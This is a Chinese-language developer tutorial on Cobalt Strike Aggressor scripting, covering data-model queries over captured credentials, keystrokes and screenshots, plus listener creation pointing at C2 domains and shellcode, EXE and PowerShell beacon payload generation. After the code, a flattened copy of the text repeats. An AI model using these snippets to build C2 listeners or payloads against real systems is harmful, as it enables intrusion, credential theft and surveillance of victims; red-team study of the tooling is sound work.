CobaltStrike插件开发官方指南 Part2
字数 1541 2025-08-26 22:11:34

CobaltStrike插件开发官方指南 Part2 - 数据模型与监听器API详解

0x03 数据模型

Cobalt Strike团队服务器存储了所有主机、服务、凭据等信息。开发者可以通过数据API访问这些信息。

数据查询基础

  1. &data_query函数:用于查询Cobalt Strike的数据模型
  2. &data_keys函数:查询特定数据模型的关键字
command export {
    local('$handle $model $row $entry $index');
    $handle = openf(">export.txt");
    foreach $model (data_keys()) {
        println($handle, "== $model ==");
        println($handle, data_query($model));
    }
    closef($handle);
    println("See export.txt for the data.");
}

主要数据模型及其对应函数

模型 函数 功能描述
applications &applications 系统分析结果 (View -> Applications)
archives &archives 连接日志/活动
beacons &beacons 激活的beacons
credentials &credentials 账号密码等凭据信息
downloads &downloads 下载的文件
keystrokes &keystrokes Beacon接收到的键盘记录
screenshots &screenshots 截图文件
services &services 服务相关信息
sites &sites 资产信息
socks &pivots SOCKS代理服务以及端口转发
targets &targets 主机信息

数据模型操作与事件监听

  1. 数据模型操作:调用这些函数会返回一个数组中每个条目的字典,包含键值对
  2. 事件监听:使用on DATA_KEY监听特定模型的变化
on keystrokes {
    println("I have new keystrokes: $1");
}

0x04 监听器API

监听器(Listeners)是Cobalt Strike处理bot发来信息的核心模块。

监听器信息查询

  1. &listeners函数:获取所有监听器名称列表
  2. &listeners_local函数:仅获取本地侦听器
  3. &listener_info函数:将监听器名称解析为其配置信息
command listeners {
    local('$name $key $value');
    foreach $name (listeners()) {
        println("== $name == ");
        foreach $key => $value (listener_info($name)) {
            println("$[20]key : $value");
        }
    }
}

监听器管理

  1. 创建监听器:使用&listener_create函数
// 新建一个foreign监听器
listener_create("My Metasploit", "windows/foreign_https/reverse_https", "ads.losenolove.com", 443);

// 新建一个HTTP Beacon监听器
listener_create("Beacon HTTP", "windows/beacon_http/reverse_http", "www.losenolove.com", 80, "www.losenolove.com, www2.losenolove.com");
  1. 删除监听器:使用&listener_delete函数
listener_delete("Beacon HTTP");
  1. 监听器选择:使用&openPayloadHelper弹出可用监听器列表
item "&Spawn" {
    openPayloadHelper(lambda({
        binput($bids, "spawn $1");
        bspawn($bids, $1);
    }, $bids => $1));
}

Payload生成

  1. Shellcode生成:使用&shellcode函数
$data = shellcode("my listener", false, "x86");
$handle = openf(">out.bin");
writeb($handle, $data);
closef($handle);

参数说明:

  • 第一个参数:监听器名称
  • 第二个参数:是否发送给远程主机(true/false)
  • 第三个参数:系统架构(x64/x86)
  1. EXE/DLL生成:使用&artifact函数
artifact("my listener","exe",false,x86);

参数说明:

  • 第一个参数:监听器名称
  • 第二个参数:生成类型
  • 第三个参数:是否发送给远程主机
  • 第四个参数:系统架构

支持的类型参数:

类型参数 描述
dll x86 DLL
dllx64 x64 DLL
exe windows可执行程序
powershell powershell脚本
python python脚本
svcexe 以服务启动的可执行文件
vbscript vb脚本

示例:

popup beacon_bottom {
    item "exe" {
        $data = artifact("cat", "exe");
        $handle = openf(">cat.exe");
        writeb($handle, $data);
        closef($handle);
    }
}
  1. PowerShell生成:使用&powershell函数
println(powershell("my listener", false,x86));
  1. Stageless生成:使用&artifact_stageless函数
sub ready {
    local('$handle');
    $handle = openf(">out.exe");
    writeb($handle, $1);
    closef($handle);
}
artifact_stageless("my listener", "exe", "x86", "", &ready);

参数说明:

  • 前三个参数与artifact相同
  • 第四个参数:代理信息
  • 第五个参数:回调函数
CobaltStrike插件开发官方指南 Part2 - 数据模型与监听器API详解 0x03 数据模型 Cobalt Strike团队服务器存储了所有主机、服务、凭据等信息。开发者可以通过数据API访问这些信息。 数据查询基础 &data_query 函数 :用于查询Cobalt Strike的数据模型 &data_keys 函数 :查询特定数据模型的关键字 主要数据模型及其对应函数 | 模型 | 函数 | 功能描述 | |------|------|----------| | applications | &applications | 系统分析结果 (View -> Applications) | | archives | &archives | 连接日志/活动 | | beacons | &beacons | 激活的beacons | | credentials | &credentials | 账号密码等凭据信息 | | downloads | &downloads | 下载的文件 | | keystrokes | &keystrokes | Beacon接收到的键盘记录 | | screenshots | &screenshots | 截图文件 | | services | &services | 服务相关信息 | | sites | &sites | 资产信息 | | socks | &pivots | SOCKS代理服务以及端口转发 | | targets | &targets | 主机信息 | 数据模型操作与事件监听 数据模型操作 :调用这些函数会返回一个数组中每个条目的字典,包含键值对 事件监听 :使用 on DATA_KEY 监听特定模型的变化 0x04 监听器API 监听器(Listeners)是Cobalt Strike处理bot发来信息的核心模块。 监听器信息查询 &listeners 函数 :获取所有监听器名称列表 &listeners_local 函数 :仅获取本地侦听器 &listener_info 函数 :将监听器名称解析为其配置信息 监听器管理 创建监听器 :使用 &listener_create 函数 删除监听器 :使用 &listener_delete 函数 监听器选择 :使用 &openPayloadHelper 弹出可用监听器列表 Payload生成 Shellcode生成 :使用 &shellcode 函数 参数说明: 第一个参数:监听器名称 第二个参数:是否发送给远程主机(true/false) 第三个参数:系统架构(x64/x86) EXE/DLL生成 :使用 &artifact 函数 参数说明: 第一个参数:监听器名称 第二个参数:生成类型 第三个参数:是否发送给远程主机 第四个参数:系统架构 支持的类型参数: | 类型参数 | 描述 | |----------|------| | dll | x86 DLL | | dllx64 | x64 DLL | | exe | windows可执行程序 | | powershell | powershell脚本 | | python | python脚本 | | svcexe | 以服务启动的可执行文件 | | vbscript | vb脚本 | 示例: PowerShell生成 :使用 &powershell 函数 Stageless生成 :使用 &artifact_stageless 函数 参数说明: 前三个参数与 artifact 相同 第四个参数:代理信息 第五个参数:回调函数